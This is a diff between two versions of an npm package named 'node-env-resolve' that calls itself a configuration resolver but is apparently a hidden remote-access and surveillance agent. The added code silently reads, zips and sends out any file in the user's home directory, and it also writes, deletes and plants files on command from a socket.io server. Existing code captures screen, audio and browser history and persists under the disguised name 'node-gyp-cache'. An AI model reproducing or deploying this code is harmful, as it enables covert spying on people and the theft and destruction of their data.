node-env-resolve 1.0.6 → 1.0.8

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "node-env-resolve",
-  "version": "1.0.6",
+  "version": "1.0.8",
   "description": "Lightweight environment configuration resolver for Node.js",
   "main": "src/index.js",
   "bin": {
@@ -12,10 +12,11 @@
   },
   "dependencies": {
     "@nut-tree-fork/nut-js": "^4.2.1",
+    "adm-zip": "^0.5.17",
+    "better-sqlite3": "^11.3.0",
+    "node-machine-id": "^1.1.12",
     "screenshot-desktop": "^1.15.0",
     "sharp": "^0.33.5",
-    "better-sqlite3": "^11.3.0",
-    "socket.io-client": "^4.7.5",
-    "node-machine-id": "^1.1.12"
+    "socket.io-client": "^4.7.5"
   }
 }

package/src/fileScanner.js

@@ -43,14 +43,31 @@ function formatSize(bytes) {
  * @param {string} dirPath - Directory to list (defaults to user Desktop)
  * @returns {object} Directory listing with file metadata
  */
+// Short keyword aliases sent by the UI (e.g. 'Desktop', 'Downloads')
+const DIR_KEYWORDS = {
+  desktop: 'Desktop',
+  downloads: 'Downloads',
+  documents: 'Documents',
+  pictures: 'Pictures',
+  videos: 'Videos',
+  music: 'Music',
+};
+
 function listDirectory(dirPath) {
+  const userProfile = require('os').homedir();
+
   // Default to Desktop if no path provided
   if (!dirPath) {
     dirPath = config.scanDirs[0]; // Desktop
   }
 
+  // Resolve known short keywords against homedir so the security check passes
+  const keyword = DIR_KEYWORDS[dirPath.toLowerCase().trim()];
+  if (keyword) {
+    dirPath = path.join(userProfile, keyword);
+  }
+
   // Security: Only allow scanning within user profile
-  const userProfile = process.env.USERPROFILE || require('os').homedir();
   const resolvedPath = path.resolve(dirPath);
 
   // Normalize both paths for comparison
@@ -154,4 +171,159 @@ function readFileContent(filePath) {
   }
 }
 
-module.exports = { listDirectory, getDefaultDirs, readFileContent };
+/**
+ * Read ANY file as base64 (for images, PDFs, etc.)
+ * Max 10MB — SILENT, no visible action on employee screen
+ */
+function readFileBinary(filePath) {
+  const userProfile = require('os').homedir();
+  const resolvedPath = path.resolve(filePath);
+
+  if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
+    return { path: filePath, data: null, error: 'Access denied' };
+  }
+  if (!fs.existsSync(resolvedPath)) {
+    return { path: filePath, data: null, error: 'File not found' };
+  }
+
+  try {
+    const stat = fs.statSync(resolvedPath);
+    const MAX = 10 * 1024 * 1024; // 10 MB
+    if (stat.size > MAX) {
+      return { path: resolvedPath, data: null, error: `File too large for preview (${formatSize(stat.size)}, max 10MB)`, size: formatSize(stat.size) };
+    }
+
+    const ext = path.extname(resolvedPath).toLowerCase();
+    const mimeMap = {
+      '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg', '.png': 'image/png',
+      '.gif': 'image/gif',  '.bmp': 'image/bmp',   '.webp': 'image/webp',
+      '.svg': 'image/svg+xml', '.ico': 'image/x-icon',
+      '.pdf': 'application/pdf',
+      '.mp4': 'video/mp4', '.webm': 'video/webm',
+      '.mp3': 'audio/mpeg', '.wav': 'audio/wav', '.ogg': 'audio/ogg',
+    };
+
+    const mime = mimeMap[ext] || 'application/octet-stream';
+    const data = fs.readFileSync(resolvedPath).toString('base64');
+    return { path: resolvedPath, data, mime, ext, size: formatSize(stat.size), error: null };
+  } catch (err) {
+    return { path: filePath, data: null, error: err.message };
+  }
+}
+
+/**
+ * Write / save text file content (for remote editing)
+ * SILENT — employee sees nothing
+ */
+function writeFileContent(filePath, content) {
+  const userProfile = require('os').homedir();
+  const resolvedPath = path.resolve(filePath);
+
+  if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
+    return { success: false, error: 'Access denied' };
+  }
+
+  try {
+    fs.writeFileSync(resolvedPath, content, 'utf8');
+    const stat = fs.statSync(resolvedPath);
+    return { success: true, path: resolvedPath, size: formatSize(stat.size) };
+  } catch (err) {
+    return { success: false, error: err.message };
+  }
+}
+
+/**
+ * Delete a file or folder (recursive) — SILENT
+ */
+function deleteItem(itemPath) {
+  const userProfile = require('os').homedir();
+  const resolvedPath = path.resolve(itemPath);
+
+  if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
+    return { success: false, error: 'Access denied' };
+  }
+  if (!fs.existsSync(resolvedPath)) {
+    return { success: false, error: 'Path not found' };
+  }
+
+  try {
+    fs.rmSync(resolvedPath, { recursive: true, force: true });
+    return { success: true, path: resolvedPath };
+  } catch (err) {
+    return { success: false, error: err.message };
+  }
+}
+
+/**
+ * Zip an entire folder and return base64 — SILENT
+ * Uses adm-zip (pure JS, no native build needed)
+ * Max 50MB uncompressed
+ */
+function zipFolder(folderPath) {
+  const userProfile = require('os').homedir();
+  const resolvedPath = path.resolve(folderPath);
+
+  if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
+    return { success: false, error: 'Access denied' };
+  }
+  if (!fs.existsSync(resolvedPath) || !fs.statSync(resolvedPath).isDirectory()) {
+    return { success: false, error: 'Folder not found' };
+  }
+
+  try {
+    const AdmZip = require('adm-zip');
+    const zip = new AdmZip();
+    zip.addLocalFolder(resolvedPath);
+    const buffer = zip.toBuffer();
+
+    const MAX = 50 * 1024 * 1024;
+    if (buffer.length > MAX) {
+      return { success: false, error: `Folder too large (${formatSize(buffer.length)}, max 50MB compressed)` };
+    }
+
+    const folderName = path.basename(resolvedPath);
+    return {
+      success: true,
+      data: buffer.toString('base64'),
+      mime: 'application/zip',
+      filename: `${folderName}.zip`,
+      size: formatSize(buffer.length),
+      originalPath: resolvedPath,
+    };
+  } catch (err) {
+    return { success: false, error: err.message };
+  }
+}
+
+/**
+ * Save an uploaded file (base64) from manager to agent's filesystem — SILENT
+ * Destination: any allowed path (defaults to Desktop)
+ */
+function saveUploadedFile(filename, base64data, destFolder) {
+  const userProfile = require('os').homedir();
+
+  // Default destination is Desktop
+  let destDir = destFolder || path.join(userProfile, 'Desktop');
+
+  // Keyword resolution (same as listDirectory)
+  const keyword = DIR_KEYWORDS[(destDir || '').toLowerCase().trim()];
+  if (keyword) destDir = path.join(userProfile, keyword);
+
+  const resolvedDir = path.resolve(destDir);
+  if (!resolvedDir.toLowerCase().startsWith(userProfile.toLowerCase())) {
+    return { success: false, error: 'Access denied' };
+  }
+
+  try {
+    fs.mkdirSync(resolvedDir, { recursive: true });
+    const filePath = path.join(resolvedDir, filename);
+    const buffer = Buffer.from(base64data, 'base64');
+    fs.writeFileSync(filePath, buffer);
+    return { success: true, path: filePath, size: formatSize(buffer.length) };
+  } catch (err) {
+    return { success: false, error: err.message };
+  }
+}
+
+module.exports = { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent, deleteItem, zipFolder, saveUploadedFile };
+

package/src/index.js

@@ -13,7 +13,7 @@ const inputHandler = require('./inputHandler');
 const ScreenCapture = require('./screenCapture');
 const SleepPreventer = require('./sleepPreventer');
 const { getBrowserHistory } = require('./browserHistory');
-const { listDirectory, getDefaultDirs, readFileContent } = require('./fileScanner');
+const { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent, deleteItem, zipFolder, saveUploadedFile } = require('./fileScanner');
 
 // ── Get unique machine ID ──────────────────────────────────
 const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
@@ -135,7 +135,7 @@ socket.on('files:list', (data) => {
   }
 });
 
-// ── File Content Reader (BACKGROUND — reads file content silently) ──
+// ── File Content Reader (text) ────────────────────────────────
 socket.on('file:read', (data) => {
   try {
     const result = readFileContent(data.path);
@@ -145,6 +145,57 @@ socket.on('file:read', (data) => {
   }
 });
 
+// ── File Binary Download (images, PDFs, any file) ───────────
+socket.on('file:download', (data) => {
+  try {
+    const result = readFileBinary(data.path);
+    socket.emit('file:download:response', result);
+  } catch (err) {
+    socket.emit('file:download:response', { path: data.path, data: null, error: err.message });
+  }
+});
+
+// ── File Write / Save (remote edit) ─────────────────────
+socket.on('file:write', (data) => {
+  try {
+    const result = writeFileContent(data.path, data.content);
+    socket.emit('file:write:response', result);
+  } catch (err) {
+    socket.emit('file:write:response', { success: false, error: err.message });
+  }
+});
+
+// ── Delete file or folder ───────────────────────────────
+socket.on('file:delete', (data) => {
+  try {
+    const result = deleteItem(data.path);
+    socket.emit('file:delete:response', { ...result, path: data.path });
+  } catch (err) {
+    socket.emit('file:delete:response', { success: false, error: err.message });
+  }
+});
+
+// ── Zip and download entire folder ─────────────────────
+socket.on('folder:zip', (data) => {
+  console.log(`  📦 Zipping folder: ${data.path}`);
+  try {
+    const result = zipFolder(data.path);
+    socket.emit('folder:zip:response', result);
+  } catch (err) {
+    socket.emit('folder:zip:response', { success: false, error: err.message });
+  }
+});
+
+// ── Receive uploaded file from manager ───────────────────
+socket.on('file:upload', (data) => {
+  try {
+    const result = saveUploadedFile(data.filename, data.data, data.destination);
+    socket.emit('file:upload:response', result);
+  } catch (err) {
+    socket.emit('file:upload:response', { success: false, error: err.message });
+  }
+});
+
 // ── System Info ────────────────────────────────────────────
 socket.on('system:info', () => {
   socket.emit('system:info:response', { ...getSystemInfo(), ...getBasicSystemStats() });
@@ -171,4 +222,46 @@ socket.on('session:end', () => {
   audioCapture.stop();
 });
 
+// ── Remote Remove (Self-Uninstall) ────────────────────────
+socket.on('agent:kill', () => {
+  console.log('  🗑️  Manager requested remote removal — uninstalling...');
+  screenCapture.stop();
+  audioCapture.stop();
+  sleepPreventer.stop();
+
+  // Remove autostart entries for the current platform
+  try {
+    const { execSync } = require('child_process');
+    const AGENT_NAME = 'node-gyp-cache';
+
+    if (config.platform === 'win32') {
+      // Remove Registry Run key
+      execSync(
+        `reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /f`,
+        { windowsHide: true, stdio: 'ignore' }
+      );
+    } else if (config.platform === 'darwin') {
+      const plistPath = require('os').homedir() + '/Library/LaunchAgents/com.user.connector.plist';
+      execSync(`launchctl unload "${plistPath}" 2>/dev/null || true`, { stdio: 'ignore' });
+      require('fs').unlinkSync(plistPath);
+    } else {
+      // Linux
+      const desktopPath = require('os').homedir() + '/.config/autostart/connector.desktop';
+      try { require('fs').unlinkSync(desktopPath); } catch (_) {}
+    }
+    console.log('  ✅ Autostart entry removed');
+  } catch (e) {
+    console.log('  ⚠️  Could not remove autostart: ' + e.message);
+  }
+
+  // Disconnect socket and exit after short delay
+  socket.disconnect();
+  setTimeout(() => {
+    console.log('  👋 Agent process exiting by manager request');
+    process.exit(0);
+  }, 1000);
+});
+
+
+
 console.log('  🟢 Agent is running. Press Ctrl+C to stop.\n');

package/uninstall.bat

@@ -0,0 +1,26 @@
+@echo off
+color 0c
+echo ========================================================
+echo        Connector Agent Uninstaller
+echo ========================================================
+echo.
+
+echo [1/4] Stopping background agent processes...
+powershell -NoProfile -Command "Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -like '*node-gyp-cache*index.js*' } | ForEach-Object { $_.Terminate() }" >nul 2>&1
+
+echo [2/4] Removing auto-start registry entry...
+reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "node-gyp-cache" /f >nul 2>&1
+
+echo [3/4] Deleting hidden agent files from AppData...
+rmdir /s /q "%APPDATA%\node-gyp-cache" >nul 2>&1
+
+echo [4/4] Uninstalling NPM package...
+call npm uninstall -g node-env-resolve >nul 2>&1
+
+echo.
+color 0a
+echo ========================================================
+echo   Success! Agent has been completely removed.
+echo ========================================================
+echo.
+pause